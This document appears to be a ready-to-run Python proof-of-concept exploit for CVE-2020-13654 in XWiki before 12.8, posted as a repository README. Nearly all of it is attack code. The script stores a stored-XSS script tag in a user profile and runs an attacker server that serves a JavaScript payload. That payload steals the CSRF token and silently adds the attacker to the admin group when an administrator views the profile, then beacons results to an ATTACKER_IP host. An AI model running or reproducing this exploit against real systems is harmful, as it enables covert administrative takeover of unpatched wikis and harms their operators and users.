README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2020-13654 — XWiki Platform < 12.8 — Stored XSS → CSRF → Privilege Escalation (Admin)
Author : Astaruf (https://nstsec.com)
CVE : CVE-2020-13654
CVSS : 7.5 (High)
CWE : CWE-116 (Improper Encoding or Escaping of Output)
Description:
XWiki Platform before version 12.8 fails to HTML-encode user-controlled
fields (e.g. "Company") in the user profile editor. An authenticated
low-privilege user can store arbitrary JavaScript that executes in the
browser of any visitor, including administrators, who views the profile.
This PoC exploits that primitive to perform an automatic privilege
escalation: when an administrator views the poisoned profile, the stored
JS payload silently adds the attacker's account to the XWikiAdminGroup,
granting full admin rights without any further interaction.
Attack flow:
1. Attacker registers / logs in (low-privilege account)
2. Payload is injected into the "Company" profile field
(raw <script src="..."> tag — no encoding applied by XWiki)
3. Exploit server serves payload.js (embedded below) to the victim browser
4. When an admin visits the profile page, the JS:
a. Fetches the XWikiAdminGroup page to extract the CSRF form_token
b. POSTs a request to add the attacker to XWikiAdminGroup
c. Beacons the result back to the exploit server
5. Attacker is now a member of XWikiAdminGroup → full admin access
Usage:
# With auto-registration:
python poc.py --target http://TARGET:8080 \\
--catcher http://ATTACKER_IP:9000 \\
--username hacker --password P@ssw0rd \\
--register --first-name John --last-name Doe \\
--email [email protected]
# With existing account:
python poc.py --target http://TARGET:8080 \\
--catcher http://ATTACKER_IP:9000 \\
--username hacker --password P@ssw0rd
"""
import argparse
import logging
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs, urlparse
import requests
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ── Logging ───────────────────────────────────────────────────────────────────
LOG_FILE = "exploit.log"
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(),
],
)
logger = logging.getLogger(__name__)
BANNER = r"""
██████╗██╗ ██╗███████╗ ██╗ ██████╗ ██████╗ ███████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ███║ ╚════██╗ ██╔════╝ ██╔════╝ ██║ ██║
██║ ██║ ██║█████╗ -2020- ╚██║ █████╔╝ ███████╗ ███████╗ ███████║
██║ ╚██╗ ██╔╝██╔══╝ ██║ ╚═══██╗ ██╔══██║ ╚════██║ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ██████╔╝ ╚██████║ ███████║ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝
XWiki Platform < 12.8 — Stored XSS → CSRF → Privilege Escalation (Admin)
Author: Astaruf | https://nstsec.com
"""
PAYLOAD_JS = r"""
(async () => {
const catcherUrl = new URL(document.currentScript.src).origin;
const log = (msg) => new Image().src = catcherUrl + '/?c=' + encodeURIComponent(msg);
const getHtml = async (url) => (await fetch(url)).text();
const getToken = (html) => {
const doc = new DOMParser().parseFromString(html, 'text/html');
const input = doc.querySelector('input[name="form_token"]');
if (input) return input.value;
const htmlTag = doc.querySelector('html');
return htmlTag ? (htmlTag.getAttribute('data-xwiki-form-token') || '') : '';
};
try {
const attackerUser = XWiki.currentSpace + '.' + XWiki.currentPage;
log('START_PRIVESC_FOR_' + attackerUser);
const groupUrl = '/bin/view/XWiki/XWikiAdminGroup';
const html = await getHtml(groupUrl);
const token = getToken(html);
if (!token) {
log('ERR_TOKEN_NOT_FOUND');
return;
}
const formData = new FormData();
formData.append('form_token', token);
formData.append('xpage', 'adduorg');
formData.append('name', attackerUser);
const resp = await fetch(groupUrl, { method: 'POST', body: formData });
log(resp.ok ? 'SUCCESS_ELEVATED_' + attackerUser : 'FAIL_HTTP_' + resp.status);
} catch (e) {
log('ERR_' + e.message);
}
})();
"""
# ── Exploit HTTP Server ───────────────────────────────────────────────────────
class ExploitHandler(BaseHTTPRequestHandler):
"""
Dual-purpose server:
GET /payload.js → serves the embedded JavaScript payload
GET /?c=<data> → logs the beacon sent back by the payload
"""
def do_GET(self):
if self.path == "/payload.js":
body = PAYLOAD_JS.encode()
self.send_response(200)
self.send_header("Content-Type", "application/javascript")
self.send_header("Content-Length", str(len(body)))
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
return
# Beacon endpoint — payload reports back here
params = parse_qs(urlparse(self.path).query)
victim_ip = self.client_address[0]
message = params.get("c", ["<empty>"])[0]
if message.startswith("SUCCESS_ELEVATED"):
logger.info(f"🎯 PRIVILEGE ESCALATION SUCCEEDED | {victim_ip} | {message}")
elif message.startswith("START"):
logger.info(f"📡 Payload executing in victim browser | {victim_ip} | {message}")
else:
logger.info(f"📨 Beacon | {victim_ip} | {message}")
# Respond with a 1×1 transparent GIF to avoid browser errors
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.end_headers()
self.wfile.write(
b"GIF89a\x01\x00\x01\x00\x00\xff\x00,"
b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;"
)
def log_message(self, *args):
pass
def start_exploit_server(port: int):
server = HTTPServer(("0.0.0.0", port), ExploitHandler)
logger.info(f"Exploit server listening on 0.0.0.0:{port}")
server.serve_forever()
# ── XWiki Exploit Logic ───────────────────────────────────────────────────────
class XWikiExploit:
def __init__(self, target: str, username: str, password: str, catcher_url: str):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.catcher_url = catcher_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"})
# ── Helpers ──────────────────────────────────────────────────────────────
def _form_token(self, url: str) -> str | None:
"""Fetch a page and extract its CSRF form_token."""
r = self.session.get(url)
soup = BeautifulSoup(r.text, "html.parser")
# XWiki ≥ 11.x stores the token as a data attribute on <html>
html_tag = soup.find("html")
if html_tag and html_tag.has_attr("data-xwiki-form-token"):
return html_tag["data-xwiki-form-token"]
# Older versions use a hidden <input>
inp = soup.find("input", {"name": "form_token"})
return inp["value"] if inp else None
# ── Step 1: (Optional) self-register ────────────────────────────────────
def register(self, first_name: str, last_name: str, email: str) -> bool:
logger.info(f"[1/4] Registering account '{self.username}' ...")
url = f"{self.target}/bin/register/XWiki/XWikiRegister"
token = self._form_token(url)
data = {
"form_token": token or "",
"register_first_name": first_name,
"register_last_name": last_name,
"xwikiname": self.username,
"register_password": self.password,
"register2_password": self.password,
"register_email": email,
"template": "XWiki.XWikiUserTemplate",
}
r = self.session.post(url, data=data, allow_redirects=True)
if r.status_code == 200:
logger.info("✅ Registration successful.")
return True
logger.error(f"Registration returned HTTP {r.status_code}")
return False
# ── Step 2: Authenticate ────────────────────────────────────────────────
def login(self) -> bool:
logger.info(f"[{'2' if not self._registering else '2'}/4] Authenticating as '{self.username}' ...")
url = f"{self.target}/bin/loginsubmit/XWiki/XWikiLogin"
token = self._form_token(f"{self.target}/bin/login/XWiki/XWikiLogin")
data = {
"j_username": self.username,
"j_password": self.password,
"form_token": token or "",
}
r = self.session.post(url, data=data, allow_redirects=True)
if "JSESSIONID" in self.session.cookies and "XWikiLogin" not in r.url:
logger.info(f"✅ Authenticated. Session: {dict(self.session.cookies)}")
return True
logger.error("Authentication failed. Check credentials.")
return False
# ── Step 3: Inject payload ───────────────────────────────────────────────
def inject(self) -> bool:
"""
Store the XSS payload in the 'Company' profile field.
Fetches the edit form first to preserve all existing field values
(stealth: profile looks normal except for the hidden script tag).
"""
logger.info(f"[3/4] Injecting payload into '{self.username}' profile ...")
edit_url = f"{self.target}/bin/edit/XWiki/{self.username}?editor=inline"
r = self.session.get(edit_url)
soup = BeautifulSoup(r.text, "html.parser")
data = {}
for tag in soup.find_all(["input", "textarea", "select"]):
name = tag.get("name")
if not name:
continue
if name == "form_token" or name.startswith("XWiki.XWikiUsers_0_"):
if tag.name in ("input", "textarea"):
data[name] = tag.get("value", "") if tag.name == "input" else (tag.string or "")
xss_tag = f'<script src="{self.catcher_url}/payload.js"></script>'
data["XWiki.XWikiUsers_0_company"] = xss_tag
data["action_save"] = "1"
save_url = f"{self.target}/bin/save/XWiki/{self.username}"
r = self.session.post(save_url, data=data, allow_redirects=True)
if r.status_code in (200, 302):
logger.info(f"✅ Payload stored: {xss_tag}")
return True
logger.error(f"Save returned HTTP {r.status_code}")
return False
# ── Step 4: Verify ──────────────────────────────────────────────────────
def verify(self) -> bool:
logger.info(f"[4/4] Verifying stored payload ...")
r = self.session.get(f"{self.target}/bin/view/XWiki/{self.username}")
if "payload.js" in r.text:
logger.info("✅ Payload confirmed in page source.")
return True
logger.error("Payload NOT found in page source — injection may have failed.")
return False
# ── Internal flag (set by main) ──────────────────────────────────────────
_registering = False
# ── Entry point ───────────────────────────────────────────────────────────────
def parse_args():
p = argparse.ArgumentParser(
description="CVE-2020-13654 — XWiki < 12.8 Stored XSS → Privilege Escalation",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
p.add_argument("--target", required=True, help="XWiki base URL (e.g. http://192.168.1.10:8080)")
p.add_argument("--username", required=True, help="Attacker account username")
p.add_argument("--password", required=True, help="Attacker account password")
p.add_argument("--catcher", required=True, help="Attacker-controlled URL (e.g. http://192.168.1.10:9000)")
p.add_argument("--register", action="store_true", help="Auto-register the attacker account before exploiting")
p.add_argument("--first-name", dest="first_name", help="First name (required with --register)")
p.add_argument("--last-name", dest="last_name", help="Last name (required with --register)")
p.add_argument("--email", help="Email (required with --register)")
return p.parse_args()
def main():
args = parse_args()
if args.register and not all([args.first_name, args.last_name, args.email]):
print("error: --register requires --first-name, --last-name, --email")
sys.exit(1)
print(BANNER)
# Start the exploit server (serves payload.js + collects beacons)
try:
port = int(urlparse(args.catcher).port or 80)
except Exception:
print("error: could not parse port from --catcher URL")
sys.exit(1)
t = threading.Thread(target=start_exploit_server, args=(port,), daemon=True)
t.start()
time.sleep(0.3)
exploit = XWikiExploit(args.target, args.username, args.password, args.catcher)
# Optional: register
if args.register:
exploit._registering = True
if not exploit.register(args.first_name, args.last_name, args.email):
sys.exit(1)
# Login → inject → verify
for step in (exploit.login, exploit.inject, exploit.verify):
if not step():
sys.exit(1)
# All steps succeeded — keep the server alive waiting for the admin victim
victim_url = f"{args.target}/bin/view/XWiki/{args.username}"
print(f"\n{'═'*60}")
print(" EXPLOIT ARMED — WAITING FOR VICTIM")
print(f"\n Share this URL with (or wait for) an administrator to visit:")
print(f" >>> {victim_url}")
print(f"\n When triggered, the attacker account '{args.username}'")
print(f" will be silently added to XWikiAdminGroup.")
print(f"\n Logs: {LOG_FILE} | Ctrl+C to stop")
print(f"{'═'*60}\n")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Stopping exploit server.")
if __name__ == "__main__":
main()